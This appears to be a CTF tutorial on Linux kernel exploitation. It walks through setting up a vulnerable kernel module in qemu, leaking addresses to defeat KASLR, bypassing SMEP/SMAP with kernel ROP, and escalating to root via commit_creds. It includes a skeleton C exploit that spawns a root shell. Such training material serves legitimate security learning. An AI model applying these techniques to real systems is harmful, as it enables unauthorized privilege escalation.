Linux kernel pwn — walkthrough
TL;DR: Kernel pwn = exploit a vulnerable kernel module / syscall to escalate from user to root. End-to-end recipe for a typical CTF kernel challenge: (1) extract the kernel + initramfs, (2) write a userland trigger to reach the buggy path, (3) leak kernel address (defeat KASLR), (4) defeat SMEP/SMAP/KPTI, (5) overwrite credentials struct (commit_creds(prepare_kernel_cred(0))) or ROP to it, (6) drop to shell. Companion to kernel-syscall-source-review, linux-bof-walkthrough-end-to-end.
Setup — what CTFs typically give you
bzImage— compressed kernel image.initramfs.cpio.gz/rootfs.img— userland filesystem.start.shorrun.sh— qemu invocation.- A vulnerable kernel module (
.ko) loaded at boot. - Sometimes the module source; sometimes you reverse-engineer it.
1
2
3
4
5
# Extract initramfs
mkdir extract && cd extract
zcat ../initramfs.cpio.gz | cpio -idmv
ls -la # browse the rootfs
cat init # see what loads — find the vulnerable module
Modify init to drop you a shell
Most CTF initramfs use a non-root user ctf. Edit init to also spawn an interactive root shell if the bug doesn’t already give you one — useful for development.
After editing:
1
find . | cpio -o -H newc | gzip > ../initramfs.cpio.gz
Boot in qemu
1
2
3
4
5
6
7
qemu-system-x86_64 \
-kernel bzImage \
-initrd initramfs.cpio.gz \
-append "console=ttyS0 nokaslr quiet" \
-nographic \
-monitor /dev/null \
-m 512M
Disable KASLR initially with nokaslr while you develop the exploit; re-enable to confirm your leak works.
Identify the bug
Common CTF bug shapes:
- Stack BOF in an IOCTL handler (copy_from_user with attacker-controlled length).
- Heap UAF (allocate object, free, allocate another with attacker control, use the first pointer).
- Type confusion via ioctl command codes.
- Race condition (TOCTOU between check and use).
- Integer overflow in size calc.
- Out-of-bounds read for info-leak.
- NULL-pointer dereference where mmap-at-0 is allowed.
See kernel-syscall-source-review for the source-side patterns.
Step 1 — userland trigger
Open the device, send the IOCTL.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#define DEV "/dev/vulnerable"
#define MAGIC _IOWR('V', 0x10, char[256])
int main() {
int fd = open(DEV, O_RDWR);
if (fd < 0) { perror("open"); return 1; }
char buf[1024];
memset(buf, 'A', sizeof(buf));
int r = ioctl(fd, MAGIC, buf);
printf("ioctl returned %d\n", r);
return 0;
}
Compile statically (initramfs may lack libc):
1
musl-gcc -static -o trigger trigger.c
Push to initramfs and re-pack.
Step 2 — info leak (defeat KASLR)
KASLR randomises the kernel base by 9 bits (entropy ~2^9 → ~512 possible bases). You need a leak.
Common sources:
dmesgleaks kernel addresses (sometimes available to unprivileged users; configurable viadmesg_restrict).- The vulnerable IOCTL itself returns kernel pointers in response data.
- Reading uninitialised kernel memory exposed via the bug.
Once a kernel pointer leaked, compute the base:
1
unsigned long kbase = leaked - KNOWN_OFFSET_FROM_BASE_OF_FUNCTION;
Step 3 — SMEP / SMAP / KPTI
| Mitigation | What it does | Bypass |
|---|---|---|
| SMEP | kernel can’t execute usermode pages | ROP in kernel space |
| SMAP | kernel can’t access usermode data | physmap / heap-spray with payload |
| KPTI (Meltdown) | usermode page tables omit kernel | not directly an exploit barrier |
| KASLR | randomised base | info leak |
| KCFI | indirect-call control-flow integrity | aligned valid targets |
| FG-KASLR | function-granular KASLR | broader info-leak needed |
For the classic 32/64-bit no-KCFI scenario:
- SMEP+SMAP: build a ROP chain entirely from kernel gadgets that calls
commit_creds(prepare_kernel_cred(0))then returns to a function that restores user-mode state cleanly.
Step 4 — the “commit_creds” trick
The canonical Linux kernel root primitive: call commit_creds(prepare_kernel_cred(0)) from kernel context. This replaces the current task’s credentials with root.
Function addresses (relative to kernel base):
1
2
unsigned long prepare_kernel_cred = kbase + OFFSET_PKC;
unsigned long commit_creds = kbase + OFFSET_CC;
(Offsets come from a kernel symbol table — /proc/kallsyms if kptr_restrict=0, or from the unstripped bzImage.)
Step 5 — return to userland cleanly
After commit_creds, you need to return to userland with the new credentials. The usual chain:
1
2
ROP: swapgs; iretq;
stack: user RIP, user CS, user RFLAGS, user RSP, user SS
Save these registers in a userland function (save_state() with inline asm reading CS/SS/RFLAGS/RSP/RIP). After the kernel ROP, iretq returns to your saved userland frame — now with root privileges.
Skeleton kernel exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
unsigned long user_cs, user_ss, user_rsp, user_rflags;
void save_state() {
__asm__ volatile (
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq; popq %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags));
}
void shell() { system("/bin/sh"); }
int main() {
save_state();
// 1. Get leak via vulnerable IOCTL.
unsigned long kbase = leak_kbase();
unsigned long commit_creds = kbase + OFFSET_COMMIT_CREDS;
unsigned long prepare_kernel_cred = kbase + OFFSET_PREPARE_KERNEL_CRED;
unsigned long swapgs_iretq = kbase + OFFSET_SWAPGS_IRETQ;
unsigned long pop_rdi = kbase + OFFSET_POP_RDI;
// 2. Build ROP chain.
unsigned long *chain = malloc(0x100);
int i = 0;
chain[i++] = pop_rdi;
chain[i++] = 0;
chain[i++] = prepare_kernel_cred;
// ... pop_rdi; rax; commit_creds; swapgs_iretq; user_rip; user_cs; user_rflags; user_rsp; user_ss
// 3. Trigger bug; overwrite saved RIP with chain start.
trigger_with_chain(chain);
// 4. We never get here; iretq lands at shell() with root.
return 0;
}
Practice progression
- HackSysTeam HEVD-equivalent on Linux (any deliberately vulnerable kmod).
- pwn.college kernel security module.
- kernelCTF (Google’s program).
- Retired CTF kernel challenges — picoCTF Kernel series, RealWorldCTF, DefCon CTF.
Tools
- pwntools for userland trigger / payload encoding.
- ROPgadget / ropper for finding gadgets in
vmlinux. - extract-vmlinux script — extracts uncompressed kernel from bzImage.
- GDB + qemu — set up with
-s -Sandgdb vmlinuxto break onstart_kernel.
Real-world
Kernel pwn skills transfer to:
- Vendor exploitation (sm_arch, mobile kernels).
- Container escape via kernel bug (container-runtime-escapes-modern).
- Pwn2Own kernel categories.
References
- Andrey Konovalov — kernel exploit tutorials
- pwn.college kernel module
- Linux kernel hardening docs
- LWN — kernel security articles
- Project Zero — Linux kernel exploitation
- See also: linux-kernel-architecture, kernel-syscall-source-review, kernel-exploits-linux, linux-kernel-babydriver-walkthrough, container-runtime-escapes-modern